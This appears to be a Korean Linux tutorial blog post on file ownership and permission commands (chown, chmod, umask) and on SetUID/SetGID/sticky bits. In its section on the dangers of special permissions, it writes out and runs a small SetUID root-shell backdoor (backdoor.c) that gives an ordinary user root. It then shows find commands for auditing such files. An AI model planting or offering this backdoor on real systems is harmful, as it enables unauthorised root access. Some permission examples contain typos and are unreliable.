- chown CMD
chown 명령어는 Unix 계통 시스템에서 파일의 소유권을 바꾸기 위해서(change the owner of a file)사용된다. 대부분의 경우, 이것은 오직 슈퍼 사용자에 의해서만 실행될 수 있다. 그들이 소유하고 있는 파일의 그룹을 바꾸고 싶어하는 비특권화된 (일반적인) 사용자들은 chgrp을 사용해야 한다.
[명령어 형식]
# chown user01 file1
# chown user01.other file1 (# chown user01:other file1)
# chown .other file1
# chown -R user01 dir1
# chown -R user01:other dir1
다른 옵션들이 있지만 많이 쓰이지 않으니 -R 옵션만 확실히 기억하도록 하자
-R 경로와 그 하위 파일들 모두를 바꾼다.
- chgrp CMD
chgrp 명령어는 파일의 속성정보 중 그룹명을 변경하는 명령어이다.
[명령어 형식]
# chgrp user01 file1
chown 명령어로 그룹명 변경이 가능하므로 많이 사용되지 않는다.
- chmod CMD
파일이나 디렉토리를 새로운 권한으로 변경하는 명령이다. 파일의 소유자나 관리자만이 chmod를 사용할 수 있으며 파일의 소유자, 파일의 그룹, 다른 사용자로 나누어 각각의 권한을 설정 할 수 있다.
[명령어 형식]
# chmod u+x file1 ( 심볼릭 모드 Symbolic Mode )
# chmod 755 file1 ( 옥탈 모드 Octal Mode )
- 심볼릭 모드 ( Symbolic Mode )
[사용자 기호]
기호 |
| 설명 |
u | user | 파일/디렉토리의 소유자 |
g | group | 파일/디렉토리의 그룹 |
o | other | 다른 사용자 |
a | all | 소유자, 그룹, 다른 사용자 모두(아무 표시 안할 경우 기본적으로 설정됨) |
[설정 기호]
기호 |
| 설명 | |
+ | 퍼미션 허가 | 지정한 퍼미션을 허가한다. | |
- | 퍼미션 금지 | 지정된 퍼미션을 금지시킨다. | |
= | 퍼미션 지정 | 지정한 퍼미션만 허가하고 나머지는 금지 시킨다.
|
[ 권한 기호 ]
r | w | x |
read | write | excute |
- 옥탈 모드 ( Octal Mode)를 이용한 권한 변경
소유자권한비트 | 그룹권한비트 | 기타권한비트 | ||||||
r | w | x | r | w | x | r | w | x |
1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
4 | 2 | 1 | 4 | 2 | 1 | 4 | 2 | 1 |
--- : 권한 없음 0 000 --x : 실행 권한 1 001 -w- : 쓰기 권한 2 010 -wx : 쓰기 실행 3 011 r-- : 읽기 권한 4 100 r-x : 읽기 실행 5 101 rw- : 읽기 쓰기 6 110 rwx : 읽기 쓰기 실행 7 111 |
- 퍼미션의 의미
파일 | 디렉토리 |
r 읽기 (cp 가능) | r(ls CMD) |
w 쓰기 | w(생성 & 삭제) |
x 실행 | x(cd CMD) |
* 파일을 삭제하기 위해서는 그 파일을 가지고있는 디렉토리의 wx 권한을 부여 받아야한다.
* 디렉토리는 반드시 x 권한을 가진다.
* 퍼미션 적용 순서는 UID > GID > Other 권한 순으로 적용한다.
- umask CMD
파일이나 디렉토리 생성시에 파일과 디렉토리에는 기본적으로 적용되는 퍼미션이 있다. 기본적으로 설정되는 퍼미션의 경우 umask에 의해 결정이 된다. umask는 디렉토리와 파일의 기본 퍼미션을 결정해주는 명령어이다.
[기본 퍼미션(Default Permission) 변경]
| 파일 | 디렉토리 |
Default Permission | 666 | 777 |
umask | 022 | 022 |
생성 기본퍼미션 | 644 | 755 |
많이 쓰이는 umask 값은 002, 022, 027를 사용한다.
- 관리자 설정 파일
/etc/bashrc
이 파일에 umask를 적용하면 모든 사용자가 적용받는다.
vi /etc/bashrc
if [ $UID -gt 99 ] && [ "`id -gn`" = "`id -un`" ]; then umask 002 else umask 022 fi |
UID -gt 99 : UID great than 99 ( UID가 99보다 크다)
&& : AND (그리고)
id -gn = id -un : id -gn ( group name ) 의 출력 결과와 id -un ( user name )의 출력 결과가 같으면
즉 사용자 이면 umask 002
관리자 이면 umask 022
* umask 값이 클수록 보안적으로 높다. -> 만들어지는 파일의 권한을 가지는 사용자가 적을수록 보안적으로 좋다.
때문에 관리자가 사용자보다 umask 값이 크다
- 사용자 설정 파일
$HOME/.bashrc
** umask 값은 임의로 바꾸면 안된다. 권한 하나로 많은 오류가 생길 수 있기 때문이다.
특수 퍼미션 ( SetUID / SetGID / Sticky Bit )
-SetUID
파일에 대한 소유권을 잠시 다른 사용자에게 빌려 줌으로 인해 소유권이 없는 사용자가 잠시 동안 파일에 대한 소유권으로 권한을 행사 할 수 있는 것을 말한다.
# chmod 4755 file1 [일반적] #chmod 4100 file1 [ 최소 ] #chmod 4655 file1 [ 잘못된 사용 ]
( 0755 : rwxr-xr-x ) ( 0100 : --x------ ) ( 0655 : rw-r-xr-x )
( 4755 : rwsr-xr-x ) ( 4100 : --s------ ) ( 4100 : rwSr-xr-x ) 정상적으로 동작 안함
-Set GID
SetUID와 달리 그룹의 권한을 잠시 빌려준다.
# chmod 2755 file1 [일반적] #chmod 2010 file1 [ 최소 ] #chmod 2745 file1 [ 잘못된 사용 ]
( 0755 : rwxr-xr-x ) ( 0010 : -----x--- ) ( 0745 : rwxr--r-x )
( 2755 : rwxr-sr-x ) ( 2100 : -----s--- ) ( 2745 : rwxr-Sr-x ) 정상적으로 동작 안함
# chmod 6755 file1
( 0755 : rwxr-xr-x )
( 6755 : rwsr-sr-x )
-Sticky Bit
게시판과 같은 모든 사용자가 자유롭게 파일을 만들 수 있지만 자신이 만든 파일이 아니면 삭제할 수 없는 특수한 상황에서 사용된다. 대표적으로
/tmp 파일이 Sticky Bit 로 되어있다.
# chmod 1777 dir1 [일반적] #chmod 1001 dir1 [ 최소 ] #chmod 1754 dir1 [ 잘못된 사용 ]
( 0777 : rwxrwxrwx ) ( 0001 : --------x ) ( 0754 : rwxr-xr-- )
( 1777 : rwxrwsrwt ) ( 1001 : --------t ) ( 1754 : rwxr-xr-T ) 정상적으로 동작 안함
특수권한 | 소유자권한비트 | 그룹권한비트 | 기타권한비트 | ||||||||
SetUID | SetGID | sticky bit | r | w | x | r | w | x | r | w | x |
1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
4 | 2 | 1 |
|
|
|
|
|
|
|
|
|
천 | 백 | 십 | 일 |
- 파일과 디렉토리 적용
| SetUID | SetGID | StickyBit |
file | O | O | X |
directory | X | O | O |
- 특수 퍼미션이 필요한 경우
/etc/shadow 라는 파일은 모든 사용자의 비밀번호를 저장하고 있는 파일이다.
-r-------- 1 root root 1.3K 8월 22 07:11 /etc/shadow
그렇기 때문에 관리자만 r 권한을 갖는다. 그러나 각 사용자들은 자신의 비밀번호를 passwd 명령어를 통해서 변경할 수 있다.
비밀번호를 바꾸려면 새로운 암호를 /etc/shadow 파일에 저장해야함을 의미한다.
그러나 일반 사용자들은 권한이 없어 변경 할 수 없는것이 맞지만 할 수 잇는 이유는 passwd 명령어가 SetUID를 가지고 있기 때문이다.
-rwsr-xr-x 1 root root 23K 1월 7 2007 /usr/bin/passwd
일반 사용자가 passwd 라는 명령어를 사용 할때 임시적으로 root의 권한을 부여 받기 때문에 가능하다.
만약 이 /usr/bin/passwd 의 퍼미션을 755로 지정하면 일반 사용자는 암호를 바꿀 수 없다.
- 특수 퍼미션의 위험성
특수 퍼미션이 임시적으로 부여받는 권한이 보통 관리자의 권한이다. 때문에 잘만 사용한다면 관리자의 권한을 일반 사용자가 부여 받을 수 있다는 뜻이된다. 특히 bash 라는 명령어로 bash 쉘을 실행할때 root의 권한을 받는다면 굉장히 위험한 상황에 놓일 수 있다.
이러한 이유로 다른 모든 명령어는 특수 퍼미션을 적용할 수 있지만 bash 라는 명령어만 사용할 수 없게 막아두었다.
Sticky Bit는 아무 사용자나 파일을 만들수 있으므로 해커가 침투해서 악의적인 파일을 심어둘 가능성이 높다.
임시로 bash 명령어와 같은 일을 수행하는 backdoor.c 를 만들어 일반 사용자로 root 권한을 가지는 bashshall 을 만들어보자
1. # vi backdoor.c
#include <stdlib.h> #include <sys/types.h> #include <unistd.h>
main() { setuid(0); // 무조건 root 사용자로 실행해야한다. setgid(0); system("/bin/bash"); // CMD 수행 명령어 } |
setuid(0) , setgid(0) -> root:root ( root 사용자로 )
2. # gcc -o bashshell backdoor.c
# ls -l bashshell
-rwxr-xr-x 1 root root 4934 Feb 11 09:22 bashshell
-rwsr-xr-x 1 root root 4934 Feb 11 09:22 bashshell
4. 일반 사용자로 로그인해서 bashshell을 실행시켜 확인해본다.
# telnet localhost
$ ./bashshell
# id
uid=0(root) gid=0(root) groups=500(fedora)
- 이런 이유로 SetUID / SetGID / Sticky Bit 는 굉장히 위험한 파일과 디렉토리이다.
때문에 관리자는 특수 퍼미션이 설정된 파일들을 늘 파악하고 있어야하며 관리자가 생성하지 않은 파일들은 해킹을 의심해봐야한다.
** 특수 퍼미션을 가진 파일 찾기
# find / -perm -4000 # find / -perm -2000
# find / \( -perm -4000 -o -perm -2000 \) -ls
# find / -perm -4000 > setuid.txt
# find / -perm -4000 | grep wc -l > setuid.count
# find /home -type f -perm -4000 -exec rm -f {} \; ( 홈폴더 밑에 특수 퍼미션파일이 있다면 바로 삭제한다. )
find 명령어로 찾아 생성된 setuid.txt 와 setuid_old.txt 을 비교해서 새로 생긴 파일이 있는지 확인하는 방법을 사용한다.
diff setuid.txt setuid_old.txt
'Linux > Linux 기초' 카테고리의 다른 글
관리자가 알아두면 유용한 명령어 (0) | 2017.08.22 |
---|---|
사용자 통신할 때 사용하는 명령어 (0) | 2017.08.22 |
VMware-Tools 설치 방법 (1) | 2017.08.20 |
Linux 설치방법 ( CentOS 5.5 ) (0) | 2017.08.20 |
VMware 가상머신 설치방법 (0) | 2017.08.20 |